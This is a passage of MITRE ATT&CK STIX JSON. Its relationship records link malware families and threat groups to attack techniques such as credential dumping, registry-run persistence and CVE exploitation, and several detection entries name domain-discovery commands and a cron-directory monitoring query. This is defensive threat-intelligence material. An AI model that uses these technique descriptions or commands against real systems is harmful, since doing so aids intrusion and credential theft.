REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. 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(n.d.). Mimikatz. Retrieved September 29, 2015.", "url": "https://github.com/gentilkiwi/mimikatz"}, {"source_name": "GitHub Mimikatz lsadump Module", "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.", "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump"}, {"source_name": "Directory Services Internals DPAPI Backup Keys Oct 2015", "description": "Grafnetter, M. (2015, October 26). Retrieving DPAPI Backup Keys from Active Directory. Retrieved December 19, 2017.", "url": "https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/"}, {"description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", "source_name": "NCSC Joint Report Public Tools"}, {"source_name": "Cobalt Strike Manual 4.3 November 2020", "url": "https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf", "description": "Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}], "modified": "2021-10-18T19:51:49.374Z", "description": "[Mimikatz](https://attack.mitre.org/software/S0002) performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the credential vault and DPAPI.(Citation: Deply Mimikatz)(Citation: GitHub Mimikatz lsadump Module)(Citation: Directory Services Internals DPAPI Backup Keys Oct 2015)(Citation: NCSC Joint Report Public Tools)(Citation: Cobalt Strike Manual 4.3 November 2020)\t", "relationship_type": "uses", "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--11d37d18-3ad6-41ed-a99e-f1cc9d524c6c", "type": "relationship", "created": "2019-01-29T21:33:34.692Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 BadPatch Oct 2017", "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/", "description": "Bar, T., Conant, S. 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Dridex (Bugat v5) Botnet Takeover Operation. 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Retrieved November 12, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has exploited the Microsoft SharePoint vulnerability CVE-2019-0604 and CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 in Exchange Server.(Citation: Trend Micro Iron Tiger April 2021)", "modified": "2022-04-15T14:02:03.777Z", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--11e07c1f-4b28-459f-92db-ab4ebe1c5740", "created": "2023-03-31T19:51:41.915Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cybereason Royal December 2022", "description": "Cybereason Global SOC and Cybereason Security Research Teams. (2022, December 14). Royal Rumble: Analysis of Royal Ransomware. Retrieved March 30, 2023.", "url": "https://www.cybereason.com/blog/royal-ransomware-analysis"}, {"source_name": "Kroll Royal Deep Dive February 2023", "description": "Iacono, L. and Green, S. (2023, February 13). Royal Ransomware Deep Dive. Retrieved March 30, 2023.", "url": "https://www.kroll.com/en/insights/publications/cyber/royal-ransomware-deep-dive"}, {"source_name": "Trend Micro Royal Linux ESXi February 2023", "description": "Morales, N. et al. (2023, February 20). Royal Ransomware Expands Attacks by Targeting Linux ESXi Servers. Retrieved March 30, 2023.", "url": "https://www.trendmicro.com/en_us/research/23/b/royal-ransomware-expands-attacks-by-targeting-linux-esxi-servers.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-31T20:04:58.717Z", "description": "[Royal](https://attack.mitre.org/software/S1073) uses a multi-threaded encryption process that can partially encrypt targeted files with the OpenSSL library and the AES256 algorithm.(Citation: Cybereason Royal December 2022)(Citation: Kroll Royal Deep Dive February 2023)(Citation: Trend Micro Royal Linux ESXi February 2023)", "relationship_type": "uses", "source_ref": "malware--802a874d-7463-4f2a-99e3-6a1f5a919a21", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--11ea144c-253e-4f68-bb2c-1f942cba6b54", "type": "relationship", "created": "2019-06-21T17:23:27.993Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", "source_name": "ESET Turla PowerShell May 2019"}], "modified": "2019-07-14T21:02:01.442Z", "description": "[PowerStallion](https://attack.mitre.org/software/S0393) uses a XOR cipher to encrypt command output written to its OneDrive C2 server.(Citation: ESET Turla PowerShell May 2019)", "relationship_type": "uses", "source_ref": "malware--dcac85c1-6485-4790-84f6-de5e6f6b91dd", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--11ed4654-a7bf-4063-9452-6d6174b9f8bc", "type": "relationship", "created": "2020-10-27T19:26:38.023Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT BLINDINGCAN Aug 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."}], "modified": "2020-10-27T19:26:38.023Z", "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has collected from a victim machine the system name, processor information, OS version, and disk information, including type and free space available.(Citation: US-CERT BLINDINGCAN Aug 2020)", "relationship_type": "uses", "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--11ed82c1-88af-4c23-860e-185505389288", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "XAgentOSX 2017", "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"}], "modified": "2020-03-16T19:51:51.340Z", "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains keylogging functionality that will monitor for active application windows and write them to the log, it can handle special characters, and it will buffer by default 50 characters before sending them out over the C2 infrastructure.(Citation: XAgentOSX 2017)", "relationship_type": "uses", "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--11f12767-22ca-4f4a-a911-8211dc8ac478", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "objsee mac malware 2017", "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", "url": "https://objective-see.com/blog/blog_0x25.html"}], "modified": "2020-03-17T01:47:07.419Z", "description": "[MacSpy](https://attack.mitre.org/software/S0282) uses HTTP for command and control.(Citation: objsee mac malware 2017)", "relationship_type": "uses", "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--11f31998-c76f-4433-8e9c-c0ef0b7574d5", "type": "relationship", "created": "2019-06-10T18:55:43.635Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.", "url": "https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/", "source_name": "Carbon Black Emotet Apr 2019"}], "modified": "2019-06-28T15:25:30.142Z", "description": "[Emotet](https://attack.mitre.org/software/S0367) has used WMI to execute powershell.exe.(Citation: Carbon Black Emotet Apr 2019)", "relationship_type": "uses", "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--11f33a6b-f2f5-4c35-a72a-e2197340b425", "type": "relationship", "created": "2020-11-19T18:02:58.454Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA MAR SLOTHFULMEDIA October 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}], "modified": "2020-11-19T18:02:58.454Z", "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) can inject into running processes on a compromised host.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", "relationship_type": "uses", "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--11f5ed28-a9dc-4dd0-91ea-8f5df726ce56", "type": "relationship", "created": "2022-03-30T14:26:51.846Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.846Z", "description": "Monitor for process activity (such as unexpected processes spawning outside a container and/or on a host) that might indicate an attempt to escape from a privileged container to host. ", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--11f6ad22-0293-47bd-95d1-34bf4ee1de9e", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.youtube.com/watch?v=fevGZs0EQu8", "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", "source_name": "Mandiant FIN5 GrrCON Oct 2016"}], "modified": "2020-03-19T19:54:13.826Z", "description": "[FIN5](https://attack.mitre.org/groups/G0053) maintains access to victim environments by using [FLIPSIDE](https://attack.mitre.org/software/S0173) to create a proxy for a backup RDP tunnel.(Citation: Mandiant FIN5 GrrCON Oct 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", "target_ref": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--11f6bf91-2330-4490-831d-3c84982a2280", "created": "2023-07-12T18:42:35.925Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Crowdstrike TELCO BPO Campaign December 2022", "description": "Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.", "url": "https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-22T18:44:44.334Z", "description": "During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) accessed Azure AD to download bulk lists of group members and their Active Directory attributes.(Citation: Crowdstrike TELCO BPO Campaign December 2022)", "relationship_type": "uses", "source_ref": "campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa", "target_ref": "attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--11f8631f-9475-4910-baa6-975eb776798a", "type": "relationship", "created": "2022-03-24T19:30:57.194Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-24T19:30:57.194Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--59ff91cd-1430-4075-8563-e6f15f4f9ff5", "target_ref": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--11fa7881-e772-419a-89b1-4e1ccdc6cbea", "created": "2022-03-30T14:26:51.844Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for execution of commands and arguments associated with enumeration or information gathering of domain accounts and groups, such as <code>net user /domain</code> and <code>net group /domain</code>, <code>dscacheutil -q group</code>on macOS, and <code>ldapsearch</code> on Linux.\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.", "modified": "2022-04-14T15:02:25.935Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--11fef36d-e857-4e0e-93e0-f0361df83ced", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Orangeworm April 2018", "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}], "modified": "2020-03-18T20:10:20.882Z", "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of accounts with the command <code>net users</code>.(Citation: Symantec Orangeworm April 2018)", "relationship_type": "uses", "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--11ff467e-83b2-4293-bec8-4837784534c5", "created": "2022-03-30T14:26:51.840Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T18:27:59.047Z", "description": "Monitor for changes made to files for unexpected modifications to access permissions and attributes.\n\nAnalytic 1 -  Modified Files in Linux Cron Directories\n\n<code> source=\"*Linux:*\"\n (Path LIKE \"/etc/cron.allow.d\"\n   OR Path LIKE \"/etc/cron.d/\"\n   OR Path LIKE \"/etc/cron.hourly\"\n   OR Path LIKE \"/etc/cron.daily\"\n   OR Path LIKE \"/etc/cron.weeky\"\n   OR Path LIKE \"/etc/cron.monthly\")</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--12043603-b490-41fc-84ed-99e70ca4876c", "type": "relationship", "created": "2020-03-13T21:01:23.208Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-13T21:01:23.208Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--120b6ead-4c4a-4f99-8509-d4ae3d4afea6", "type": "relationship", "created": "2020-06-08T17:22:35.613Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky TajMahal April 2019", "url": "https://securelist.com/project-tajmahal/90240/", "description": "GReAT. (2019, April 10). Project TajMahal \u2013 a sophisticated new APT framework. Retrieved October 14, 2019."}], "modified": "2020-06-15T21:01:55.437Z", "description": "[TajMahal](https://attack.mitre.org/software/S0467) has the ability to use the open source libraries XZip/Xunzip and zlib to compress files.(Citation: Kaspersky TajMahal April 2019)", "relationship_type": "uses", "source_ref": "malware--b51797f7-57da-4210-b8ac-b8632ee75d70", "target_ref": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--120f001f-eb9c-4183-89f1-7c6e4bddc80c", "type": "relationship", "created": "2020-11-30T21:44:25.557Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Bazar July 2020", "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."}, {"source_name": "NCC Group Team9 June 2020", "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}], "modified": "2020-12-01T15:02:31.851Z", "description": "[Bazar](https://attack.mitre.org/software/S0534) can use [Nltest](https://attack.mitre.org/software/S0359) tools to obtain information about the domain.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)", "relationship_type": "uses", "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--121152af-4bfe-4202-ade0-aad9fb85e0ad", "type": "relationship", "created": "2020-05-14T21:17:54.058Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Okrum July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf", "description": "Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}], "modified": "2020-05-14T21:17:54.058Z", "description": "[Okrum](https://attack.mitre.org/software/S0439) loader only executes the payload after the left mouse button has been pressed at least three times, in order to avoid being executed within virtualized or emulated environments.(Citation: ESET Okrum July 2019) ", "relationship_type": "uses", "source_ref": "malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83", "target_ref": "attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--12139a3a-72d6-4ce5-a987-fc319c8c77f7", "type": "relationship", "created": "2022-03-30T14:26:51.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.851Z", "description": "Monitor for changes made to a file may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1215a807-77b4-465e-9c82-c4f023e668da", "type": "relationship", "created": "2020-05-08T18:41:16.426Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Cloud Atlas December 2014", "url": "https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/", "description": "GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020."}], "modified": "2020-05-12T15:17:50.158Z", "description": "[Inception](https://attack.mitre.org/groups/G0100) has maintained persistence by modifying Registry run key value \n <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\</code>.(Citation: Kaspersky Cloud Atlas December 2014)", "relationship_type": "uses", "source_ref": "intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--12168524-c6cf-4b8f-b114-7b10b06b8f32", "created": "2022-08-18T15:36:13.631Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "DHS CISA AA22-055A MuddyWater February 2022", "description": "FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}, {"source_name": "Mandiant UNC3313 Feb 2022", "description": "Tomcik, R. et al. (2022, February 24). Left On Read: Telegram Malware Spotted in Latest Iranian Cyber Espionage Activity. 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Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. 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Retrieved November 25, 2020."}], "modified": "2020-11-25T20:37:53.606Z", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has established social media accounts to disseminate victim internal-only documents and other sensitive data.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--128620b6-fea5-497b-a914-d9c3f8481497", "type": "relationship", "created": "2022-03-30T14:26:51.854Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.854Z", "description": "Monitor for newly executed daemons that may abuse launchctl to execute commands or programs.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--128afec2-d9a5-4433-89d9-0cc65abf15bd", "created": "2023-10-04T17:36:03.088Z", "revoked": false, "external_references": [{"source_name": "MoustachedBouncer ESET August 2023", "description": "Faou, M. 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Retrieved September 25, 2023.", "url": "https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-04T17:36:03.088Z", "description": "[Disco](https://attack.mitre.org/software/S1088) can download files to targeted systems via SMB.(Citation: MoustachedBouncer ESET August 2023)", "relationship_type": "uses", "source_ref": "malware--e1445afd-c359-45ed-8f27-626dc4d5e157", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--128e8365-7645-41fa-832e-5ff4d8639035", "type": "relationship", "created": "2019-02-20T15:16:43.083Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/", "description": "Lee, B. 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Retrieved August 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Bumblebee](https://attack.mitre.org/software/S1039) has the ability to identify the user name.(Citation: Google EXOTIC LILY March 2022)", "modified": "2022-08-22T13:39:28.999Z", "relationship_type": "uses", "source_ref": "malware--04378e79-4387-468a-a8f7-f974b8254e44", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": 